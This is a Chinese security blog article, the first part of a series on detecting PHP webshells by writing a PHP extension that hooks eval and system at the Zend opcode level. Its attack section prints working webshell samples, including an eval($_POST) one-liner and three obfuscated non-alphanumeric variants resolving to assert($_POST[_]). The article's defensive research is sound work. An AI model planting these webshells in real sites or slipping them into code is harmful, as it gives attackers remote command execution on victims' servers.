渗透测试 - 黑客技术 | 通过PHP扩展实现Webshell识别（一）

因为要写的东西有点多，并且牵涉到的知识对我也比较有挑战，所以我会分成几个小节来写，第一个小节我主要是谈一下大体的思路和一些必备的知识，不会涉及到过多的语言细节。

前言

之前线下赛的时候被官方隐藏的后门给坑过许多次，基本都是非常自信的拿rips扫了一下就放下心来，结果阴沟里翻船。

所以在翻了许多次船之后，想到了通过编写PHP扩展来实现Webshell的识别。当然，这篇在线下赛的意义可能不大（权限应该是不够的），因为对于这部分的东西，我也是一边学一边记录，所以可能会有一些出错的地方，还请理解。

Webshell攻击方式

在具体谈到如何实现识别Webshell之前，先来看看常用的Webshell是如何完成攻击的。

最耿直的shell便是这种格式：

<?php @eval($_POST['cmd']);?>

通过POST方法传入的cmd参数，会经过eval函数执行，如果此时传入的cmd参数值为system(‘ls’); ，则会执行ls的命令，进而浏览目录信息。

稍微复杂一点也无非是再经过编码、加密、回调或者使用匿名函数等其他方法来伪装自身，像p师傅之前有一篇博客里面写的使用数字和字母来编写Webshell这种，本质上仍然是对自己进行伪装。比如p师傅的三种shell：

<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__;
$_($___[_]); // assert($_POST[_]);

<?php $__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

<?php $_=[];
$_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S $___.=$__; // S $__=$_;
$__++;$__++;$__++;$__++; // E  $___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

而有关这方面的更具体的东西，因为并不是我们这篇文章要讨论的主要方面，因此不再多提，有兴趣可以看看p师傅的博客：https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Webshell为了执行命令，最终都会去调用system,eval这一类的函数。因此在正常情况下，我们编写的waf便是通过检测关键字来识别Webshell，而waf越强，识别能力也就越强，这是目前最流行的做法。

但是在使用PHP扩展时，我们可以换个思路来进行识别。

基础知识

php的执行流程

PHP执行一段代码时，会分做几个阶段来依次完成，这里我使用Laruence总结的:

1.Scanning(Lexing) ,将PHP代码转换为语言片段(Tokens)

2.Parsing, 将Tokens转换成简单而有意义的表达式

3.Compilation, 将表达式编译成Opocdes

4.Execution, 顺次执行Opcodes，每次一条，从而实现PHP脚本的功能。

可以看到，PHP在执行代码时，Lex会先完成词法分析，将代码分成一个个的“块”，如果想看词法分析的结果，可以通过get_token_all()来获得词法分析的结果。

随后便是第二步，在这一步中，将上面得到的一个个“块”转换为表达式。

这里要插一个知识点，opcode是计算机指令的一部分，在PHP中，opcode就是Zend虚拟机中的指令。
在PHP中，opcode表示如下：

struct _zend_op { opcode_handler_t handler; // 执行该opcode时调用的处理函数 znode result;
    znode op1;
    znode op2;
    ulong extended_value;
    uint lineno;
    zend_uchar opcode; // opcode代码 };

第三步编译则是将一个个的“块”编译成opcode保存在op_array中。

最后一步便是依次执行这些opcode。

这就是为什么PHP看起来并不需要像C语言一样先编译再运行的原因，PHP是经过了解释器执行源码这个过程的。

但是实时编译对于性能的影响比较大，因此在开启了APC扩展后，PHP会通过重用缓存opcode以提升运行效率。类似的还有python的pyc/pyo，Jvav的JVM，以避免重复编译带来的性能损失。

PHP危险函数调用

在进行函数调用时，需要函数的一些基本信息，比如函数名称，函数参数，函数定义等等。

在这里，为了方便分析用户定义函数和PHP内置函数之间的区别，取个巧，将函数分为两类，一类是内部函数，一类是用户函数。

两者之间的区别通过名称便可以很方便的发现。内部函数是用C语言实现的，但是并不是原生态的C语言，而是经过封装的，比如PHP扩展中不会使用printf()函数，而是使用经过封装处理php_printf()函数。而用户函数则是用户自定义的函数。

接着上面所说到的，内部函数在进行调用时，扩展是可以知道代码执行细节的，因此如何hook也就变得很明了了。接下来需要思考的，就是更细节的东西了。

我们在进行hook的时候，该如何判断是不是危险函数呢？比如如何判断system函数，eval函数等等。如果要细致讨论的话，我们需要再去深入了解一下opcode的相关知识。

我们先给出几段php代码：

<?php $a='123'; echo $a; ?>

使用php的vld扩展可以查看其opcode，如下：

再看看使用eval时的opcode情况：

<?php eval("$a='123';   echo $a;  "); ?>

opcode如下：

再给个system函数的例子：

<?php eval("system('ls');"); ?>

opcode如下:

可以看到，eval函数是经过了一层固定的调用的，而system函数则是通过DO_FCALL调用。而echo则是直接调用的ECHO。

此时我们再看看用户函数的opcode是如何组成的：

<?php <?php function test(){ echo 123; echo 456; echo 789;
}
test(); ?>

opcode如下：

可以看出用户函数是将语句逐条翻译成opcode，然后依次执行的。

从用户函数与内部函数这两者之间的比较，可以发现，即使是Webshell将eval类的函数隐藏在混淆或者加密过的函数中，最终仍然会调用EXT_FCALL_BEGIN *******，EVAL格式的语句。

同理，在Webshell进行最后一步调用system此类内部函数时，也是会调用某些具有固定格式的语句，比如DO_FCALL ‘system’此类格式的语句，因此这两种函数都是可以通过PHP扩展来进行识别的，而不需要去通过正则或者关键词匹配识别的方法。

我们现在大概理清楚了使用PHP编写的Webshell执行的大概流程，剩下的要做就是在eval此类危险函数即将调用时，将之hook掉。

最后给出eval函数的实现，大家可以想一下如何去hook住eval，实现代码EVAL在Zend/zend_vm_def.h:

case ZEND_EVAL: { char *eval_desc = zend_make_compiled_string_description("eval()'d code" TSRMLS_CC);

                    new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC);
                    efree(eval_desc);
                } break;

下一篇我主要想分析一下如何拦截常用的Webshell函数，比如system，shell_exec等。大家有什么意见也希望可以说一下。

本文由安全客原创发布，作者;

梅子酒

如若转载，请注明出处： https://www.anquanke.com/post/id/98938

黑客

通过PHP扩展实现Webshell识别（一）

前言

Webshell攻击方式

基础知识

php的执行流程

PHP危险函数调用

梅子酒

相关文章